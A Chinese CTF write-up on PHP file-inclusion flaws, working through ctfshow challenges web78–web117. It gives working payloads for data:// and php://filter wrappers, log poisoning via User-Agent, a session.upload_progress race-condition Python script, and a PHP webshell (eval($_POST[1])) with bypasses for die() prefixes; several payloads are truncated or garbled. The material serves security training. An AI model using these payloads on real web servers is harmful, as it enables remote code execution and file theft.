本文讲述web安全里面的文件包含漏洞(持续更新)
[原理篇]文件包含
讲解
what?how?:
为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
敏感函数:
1 2 3 4 5 6 7 8 9 10 11 12
| include() include_once() require() require_once()
|
伪协议常规注入:
下面有资源
php://filter过滤器(不能直接访问那就封装一下),
1 2
| ?page=php://filter/read=convert.base64-encode/resource=../../../../../../phpstudy_pro\WWW\feng\php_output.php
|
下面是一个讲解:
名称 |
描述 |
resource=<要过滤的数据流> |
这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
write=<写链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
<;两个链的筛选列表> |
任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
read参数值可为
string.strip_tags: 将数据流中的所有html标签清除
string.toupper: 将数据流中的内容转换为大写
string.tolower: 将数据流中的内容转换为小写
convert.base64-encode: 将数据流中的内容转换为base64编码 convert.base64-decode: 与上面对应解码为典型的文件包含漏洞。我们可以通过构造含有漏洞的语句,查看想要看的代码: file=php://filter/read=convert.base64-encode/resource=index.php 。再将得到的base64码解码即可。
php://filter
php://filter 是一种元封装器。 设计用于数据流打开时的筛选过滤应用 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile() file() 和 [file_get_contents()在数据流内容读取之前没有机会应用其他过滤器。
举个例子:
1 2 3 4 5 6 7 8 9 10
| <?php
readfile("php://filter/resource=http://www.example.com");
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World"); ?>
|
日志文件包含漏洞:
apache服务器日志存放文件位置:/var/log/apache/access.log,apache日志文件存放着我们输入的url参数,我们可以通过在url参数中写入一句话木马,进行执行,从而将一句话木马写入到日志文件中,我们可以通过包含写入木马的日志文件,从而进行命令执行。
nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log
资源
https://xz.aliyun.com/t/7176?time__1311=n4%2BxnD0GDtKxyDRxQqGNWP4wYi%3DZo%2BpP4x&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F –基本讲解
https://www.cnblogs.com/chu-jian/p/17481660.html#:~:text=%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%EF%BC%88File%20Inclusion,%E4%BB%A3%E7%A0%81%E4%BD%9C%E4%B8%BA%E6%AD%A3%E5%B8%B8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E3%80%82 –基本讲解
https://blog.csdn.net/wangyuxiang946/article/details/131149171 –filter过滤器
https://www.cnblogs.com/kuaile1314/p/11897097.html –伪协议
https://blog.csdn.net/qq_50673174/article/details/124769364 –伪协议
https://blog.csdn.net/unexpectedthing/article/details/121276653 –伪协议
https://blog.csdn.net/hsd2012/article/details/51194554?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-2-51194554-blog-100028185.pc_relevant_vip_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-2-51194554-blog-100028185.pc_relevant_vip_default&utm_relevant_index=3 –php标签
https://www.cnblogs.com/GTL-JU/p/16831597.html –日志文件包含漏洞
题目
ctfshow
web78
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); }
|
考察点:
基本文件包含,敏感函数
详解:
没有任何过滤,直接传文件就OK。可读取可执行恶意代码。
payload:
1
| ?file=data://text/plain,<?php system("cat flag.php");?>
|
WEB79
题目
1 2 3 4 5 6 7
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
详解:
无伤大雅,替换php,那就用**<?=**,还可以大小写绕过+input协议
https://www.ctf.show/writeups/835619 –多个法子(里面有php标签用法哦),
payload:
1
| /?file=data://text/plain,<?=system('ls%'');?>
|
Web80
题目:
1 2 3 4 5 6 7 8
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
考察点:
日志注入,php://input+post+burpsuite
详解:
还是无伤大雅,过滤了php和data,那换一种方法(Php这样可以,Data不行那)
不行有伤大雅了,差了很多基本是伪协议不好使,但是可以用php://input协议–(后面其实可以url编码)
放个图:

其次另外一种主流做法就是日志文件包含漏洞,这种做法一般是伪协议不能用再来使用,我们先抓个包:
显而易见看到是nginx服务,我们知道常规路径是/var/log/nginx/access.log,去访问一下。ua信息等,这里ua最容易控制,抓包改ua,写入一句话木马或者命令执行都可以
下步骤做题

最主要的就是找到文件所在地址和在ua哪里写入php语句。
WEB81
题目:
1 2 3 4 5 6 7 8 9
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
详解:
多了层过滤而已,这个是不能用php://input罢了。修改ua用日志漏洞。
WEB82
题目
1 2 3 4 5 6 7 8 9 10
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
考察点:
条件竞争(burp上传或者python脚本),session.upload_progress 包含文件漏洞
详解:
过滤了点之后我们也不能使用文件包含来getshell了,因此我们只能利用无后缀的文件,因为在php中我们能够利用的无后缀的文件就是session,我们可以利用session.upload_progress
来进行文件包含,利用PHP_SESSION_UPLOAD_PROGRESS
参数,上传成功后,就会在session['upload_progress_123']
存储一些本次上传的相关信息
但是由于cleanup=on
,会导致文件上传后,session文件的内容立即清空。此时我们得利用条件竞争,在session文件的内容被清空前进行文件包含。
开始做题:
自己讲一下条件竞争:
Attack–burpsuite
1.上传父文件(一句话木马的文件名)==(被删除)=>抓包利用burpsuite-Intruder不停上传(设置好步长和次数):

2.另开一burpsuite窗口不断访问a.php(父文件)文件以生成1.php,注意新开的要把代理开关打开,把刚刚的关掉=>双窗口观察直到找到访问状态码为200的一栏,表示文件上传成功,继续接下来的操作得到flag.
Attack–python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import io import sys import requests import threading
sessid = 'Qftm'
def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/', data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php ?>');?>"}, files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} )
def READ(session): while True: response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}') if 'flag' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0)
with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start()
READ(session)
|
资源:
ctfshow]web入门文件包含78-88_ctfshow web入门78-CSDN博客 –参考wp
条件竞争三板斧文章:
https://xz.aliyun.com/t/13292?time__1311=mqmxnDBD9DyGeAKDsD7mG77gx7Kqxg%2BS%2BTD&alichlgref=https%3A%2F%2Fwww.google.com%2F
https://xz.aliyun.com/t/13325?time__1311=mqmxnDBG0QDQG%3DYDs%3DoYK0%3Dg2RjiNiN4D&alichlgref=https%3A%2F%2Fwww.google.com%2F
https://xz.aliyun.com/t/13326?time__1311=mqmxnDBG0QDQG%3DqDs%3DoYK0%3Dg2Rjir%3D74D&alichlgref=https%3A%2F%2Fwww.google.com%2F
https://ciphersaw.me/ctf-wiki/pwn/linux/race-condition/introduction/ –条件竞争介绍
https://cloud.tencent.com/developer/article/1516412 –条件文章
WEB87
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13
| if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{ highlight_file(__FILE__); }
|
考察点:
写文件关键函数,过滤绕过,url编码,伪协议和filter过滤器
详解:
首先看到还是常规过滤,但是有一个关键是file_put_contents函数还有urldecode解码函数,这里需要注意的一点的操作就是文件写入和url二次编码的问题,注意只需要对文件名字二次编码即可,过滤器利用write写入文件即可
payload:
1 2 3 4 5 6 7
| ?file=php:
?file=php%253A%252F%252Ffilter%252Fwrite%253Dstring%252Erot13%252Fresource%253D2%252Ephp
content=<?cuc flfgrz('gnp sy*.cuc');?>
|
WEB88
题目:
1 2 3 4 5 6 7 8 9 10
| <?php if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); } include($file); }else{ highlight_file(__FILE__); }
|
考察点:
过滤绕过,伪协议
详解:
没有过滤冒号,直接data伪协议,因为要过滤一些符号了,我们需要base64编码,这个题的关键就在于构造出来没有符号的base64编码,不断调试即可
payload:
1 2 3 4 5 6
| ?file=data:
?file=data:
?file=data:
|
贴图:

WEB116
题目:

很新的文件题,打开是一个视频文件(剪裁的挺好)
考察点
misc+php,文件读取
详解:
看源代码没什么思路,想法就是直接把视频文件下载下来,找各种工具把这个流文件下载下来,另存为视频格式到本地。
然后用010打开发现有PNG图片,导出看一下

发现源码后
1 2 3 4 5 6 7 8 9
| <?php function filter($x){ if(preg_match('/http|https|data|input|rot13|base64 string|log|sess/i',$x)){ die('too young too simple sometimes native!');} $file=isset($ GET['file'l)?$ GET['file']:"sp2.mp4"; header('content-Type:video/mp4'); filter($file); file_get_contents($file); ?>
|
作了一些基本的过滤,我们可以不断文件读取访问,然后去网站查看一下网络状态,但发现没什么回显后,抓包读取一下,访问即可有回显

WEB117
题目:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php highlight_file(__FILE__); error_reporting(0); function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); } } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents);
|
考察点:
绕过死亡die,伪协议,写文件fliter协议
详解:
file_put_contents($file, "<?php die();?>".$contents);
是一段PHP代码,它的作用是将特定内容写入到一个文件中,把die()拼接到开头
写文件绕过编码,使用字符转码和编码,通过这种方式把前面正常的代码转化为不正常的内容绕过die,把我们不正常转成正常代码执行即可。
1 2 3 4 5 6 7 8 9 10
| ?file=php:
contents=<?php eval($_POST[1]);?>
contents=?<hp pe@av(l_$OPTSj[]z;)>? contents=<hp pvela$(G_TE'[mc'd)]?;>>
|
编码转化脚本:
1 2 3 4 5
| <?php ?>'); echo "payload:".$result."\n"; ?> //?<hp pe@av(l;)>?
|
连接蚁剑即可

资源:
https://www.php.cn/faq/565411.html php支持的字符编码
声明:
本文只应用与信息安全的交流与学习,此为作者学习记录,请勿利用文章相关技术从事非法活动,如因此产生任何的不良后果与文章作者无关,本文仅供学习参考。